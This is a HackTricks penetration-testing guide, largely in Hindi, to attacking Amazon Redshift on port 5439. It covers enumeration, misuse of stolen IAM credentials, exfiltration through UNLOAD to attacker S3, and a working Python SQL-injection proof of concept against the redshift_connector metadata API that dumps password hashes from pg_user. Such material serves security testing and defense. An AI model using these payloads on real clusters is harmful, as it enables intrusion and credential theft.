5439 - Pentesting Redshift

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

यह पोर्ट Amazon Redshift (AWS प्रबंधित डेटा वेयरहाउस) द्वारा उपयोग किया जाता है। Redshift wire protocol थोड़ा संशोधित PostgreSQL protocol है, इसलिए अधिकांश Postgres client tooling काम करते हैं (psql, psycopg2, JDBC/ODBC) लेकिन auth और TLS आवश्यकताएँ भिन्न होती हैं।

For more information check:

AWS - Redshift Enum - HackTricks Cloud

Enumeration & Connectivity

  • Default port: 5439/TCP (customizable). Serverless workgroups also default to 5439.
  • Public endpoint pattern: <clusterid>.<random>.<region>.redshift.amazonaws.com (public) or .redshift.amazonaws.com.cn (China). Serverless: <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com.
  • TLS: Redshift को TLS 1.2+ और perfect-forward-secrecy ciphers की आवश्यकता होती है। पुराने क्लाइंट काम नहीं कर सकते; आधुनिक TLS का उपयोग बाध्य करें:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • Parameter group require_ssl नियंत्रित करता है कि plaintext की अनुमति है या नहीं। नए clusters/workgroups default.redshift-2.0 का उपयोग करते हैं जिसमें require_ssl=true है, इसलिए downgrade/mitm मुश्किल है।

Quick enum with psql

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

त्रुटियाँ गलत पासवर्ड बनाम ग़ायब यूजर में फर्क करती हैं → संभावित username enumeration during brute force.

परीक्षण करने के लिए प्रमाणीकरण पथ

  • Database password master user के लिए (अक्सर नाम awsuser) या बनाए गए DB users के लिए।
  • IAM auth tokens: short-lived credentials जनरेट कर के libpq/JDBC/ODBC के माध्यम से sslmode=require और authMech=IAM या plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider का उपयोग कर कनेक्ट करें। चोरी किए हुए IAM creds/roles को Redshift के लिए समकक्ष rds-db:connect शैली की अनुमति के साथ abuse करें।
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins: JDBC plugin_name SSO के लिए लोकल वेबसरवर उठा सकता है; कैप्चर की गई loopback callback SAML assertion या temp creds को leak कर सकती है।

सामान्य गलत कॉन्फ़िगरेशन (network)

  • क्लस्टर पर PubliclyAccessible=true और wide-open SG (0.0.0.0/0) Postgres-जैसी सतह को brute force या SQLi exploitation के लिए उजागर करता है।
  • Default port 5439 और default SG आसानी से discovery (Shodan/Censys) में मदद करते हैं। पोर्ट बदलना हल्की obscurity है लेकिन हार्डनिंग चेकलिस्ट में अक्सर नजरअंदाज़ होता है।
  • No enhanced VPC routing → COPY/UNLOAD सार्वजनिक Internet पर जाते हैं; जब attacker S3 bucket/endpoint को नियंत्रित करता है तो यह exfil के लिए abused किया जा सकता है।

हमले के नोट्स

  • अगर लॉगिन सफल होता है, तो serverless में Redshift में superuser नहीं होता; provisioned क्लस्टरों में master user के पास व्यापक अधिकार होते हैं जिनमें UDFs (Python) बनाना, Spectrum के लिए external schema, attacker S3 से COPY, और डेटा exfil के लिए UNLOAD शामिल हैं।
  • क्लस्टर parameter group में max_concurrency_scaling_clusters, require_ssl, enable_user_activity_logging जाँचें – logging disabled होने से stealth में मदद मिलती है।
  • Serverless workgroups अभी भी TCP के जरिए पहुँच योग्य हैं; provisioned क्लस्टरों जैसा ही SQL attack surface रहता है।
  • Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 और ODBC 2.1.5.0 metadata queries बनाते हैं जिनमें getSchemas/getTables/getColumns में unquoted user input होता है (CVE-2024-12744/5/6). यदि कोई ऐप attackers को catalog या pattern arguments नियंत्रित करने देता है, तो आप arbitrary SQL inject कर सकते हैं जो connector द्वारा उपयोग किए गए DB user के अधिकारों के साथ चलता है।
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change: Python UDFs 30 June, 2026 के बाद काम करना बंद कर देंगे; उसके बाद केवल Lambda UDFs की अनुमति होगी। Offensive प्रभाव: legacy provisioned क्लस्टर अभी भी Python UDFs चला कर in-cluster code exec (कोई FS/network नहीं) करने की क्षमता रखते हैं। Lambda UDFs को Lambda में कोड स्थानांतरित करते हैं जहाँ IAM role Internet/VPC endpoints तक पहुँच सकता है जिससे SSRF/pivot संभव हो सकता है पर सीधे क्लस्टर filesystem एक्सेस नहीं होता। Python UDFs सक्षम पुराने क्लस्टरों की खोज करने से अभी भी RCE primitives मिल सकते हैं।

हालिया सुरक्षा बदलाव (offense प्रभाव)

  • नए क्लस्टरों/snapshots पर Public access disabled by default (10 Jan, 2025 बदलाव). लेगसी क्लस्टर अभी भी public हो सकते हैं।
  • Encryption at rest + enforced TLS by default ने sniffing/mitm को कठिन बना दिया है; वैध credentials या VPC पाथ में SSRF की जरूरत पड़ती है।
  • Serverless VPCE rollout change (27 Jun, 2025): workgroup endpoints बनाते समय creation time पर अधिकतम 3 AZs में बनाए जा सकते हैं। Discovery tools को reachable IPs खोजने के लिए हर AZ के लिए workgroup VPCE DNS names enumerate करने चाहिए।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें